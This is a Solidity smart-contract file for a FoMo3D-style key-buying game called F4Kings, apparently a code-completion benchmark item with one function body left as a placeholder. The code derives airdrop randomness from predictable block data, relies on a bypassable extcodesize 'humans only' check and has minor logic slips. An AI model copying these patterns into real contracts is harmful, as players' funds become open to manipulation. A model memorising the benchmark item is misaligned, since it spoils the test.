1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) {<FILL_FUNCTION_BODY> } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards shareCom.transfer((_com.mul(65) / 100)); admin.transfer((_com.mul(35) / 100)); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; uint256 _rndInc = rndInc_; if(round_[_rID].pot > rndLimit_) { _rndInc = _rndInc / 2; } // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay community rewards uint256 _com = _eth / 10; uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } // pay 1% out to FoMo3D short // uint256 _long = _eth / 100; // otherF3D_.potSwap.value(_long)(); _p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID)); // pay out p3d // _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract uint256 _potAmount = _p3d / 2; uint256 _amount = _p3d.sub(_potAmount); shareCom.transfer((_amount.mul(65)/100)); admin.transfer((_amount.mul(35)/100)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID) private returns(uint256) { uint256 _addP3d = 0; // distribute share to affiliate uint256 _aff1 = _eth / 10; uint256 _aff2 = _eth / 20; uint256 _aff3 = _eth / 34; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != '')) { plyr_[_pID].laffID = _affID; plyr_[_affID].aff = _aff1.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff1, now); //second level aff uint256 _secLaff = plyr_[_affID].laffID; if((_secLaff != 0) && (_secLaff != _pID)) { plyr_[_secLaff].aff = _aff2.add(plyr_[_secLaff].aff); emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff2, now); //third level aff uint256 _thirdAff = plyr_[_secLaff].laffID; if((_thirdAff != 0 ) && (_thirdAff != _pID)) { plyr_[_thirdAff].aff = _aff3.add(plyr_[_thirdAff].aff); emit F3Devents.onAffiliatePayout(_thirdAff, plyr_[_thirdAff].addr, plyr_[_thirdAff].name, _rID, _pID, _aff3, now); } else { _addP3d = _addP3d.add(_aff3); } } else { _addP3d = _addP3d.add(_aff2); } } else { _addP3d = _addP3d.add(_aff1); } return(_addP3d); } function getPlayerAff(uint256 _pID) public view returns (uint256,uint256,uint256) { uint256 _affID = plyr_[_pID].laffID; if (_affID != 0) { //second level aff uint256 _secondLaff = plyr_[_affID].laffID; if(_secondLaff != 0) { //third level aff uint256 _thirdAff = plyr_[_secondLaff].laffID; } } return (_affID,_secondLaff,_thirdAff); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) //_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); _eth = _eth.sub(_eth.mul(30) / 100); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require(msg.sender == admin, "only admin can activate"); // can only be ran once require(activated_ == false, "FOMO Short already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
contract F4Kings is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf626967fA13d841fd74D49dEe9bDd0D0dD6C4394); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; address private shareCom = 0x431C4354dB7f2b9aC1d9B2019e925C85C725DA5c; string constant public name = "f4kings"; string constant public symbol = "f4kings"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 24 hours; // round timer starts at this uint256 constant private rndInc_ = 20 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be uint256 constant private rndLimit_ = 3; // limit rnd eth purchase //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(22,0); //48% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(32,0); //38% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(52,0); //18% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(42,0); //28% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D) potSplit_[0] = F3Ddatasets.PotSplit(42,0); //48% to winner, 0% to next round, 10% to com potSplit_[1] = F3Ddatasets.PotSplit(34,0); //48% to winner, 8% to next round, 10% to com potSplit_[2] = F3Ddatasets.PotSplit(18,0); //48% to winner, 24% to next round, 10% to com potSplit_[3] = F3Ddatasets.PotSplit(26,0); //48% to winner, 16% to next round, 10% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; uint256 _withdrawFee; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) { //10% trade tax _withdrawFee = _eth / 10; uint256 _p1 = _withdrawFee.mul(65) / 100; uint256 _p2 = _withdrawFee.mul(35) / 100; shareCom.transfer(_p1); admin.transfer(_p2); plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); } // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) { //10% trade tax _withdrawFee = _eth / 10; _p1 = _withdrawFee.mul(65) / 100; _p2 = _withdrawFee.mul(35) / 100; shareCom.transfer(_p1); admin.transfer(_p2); plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); } // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 100000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = 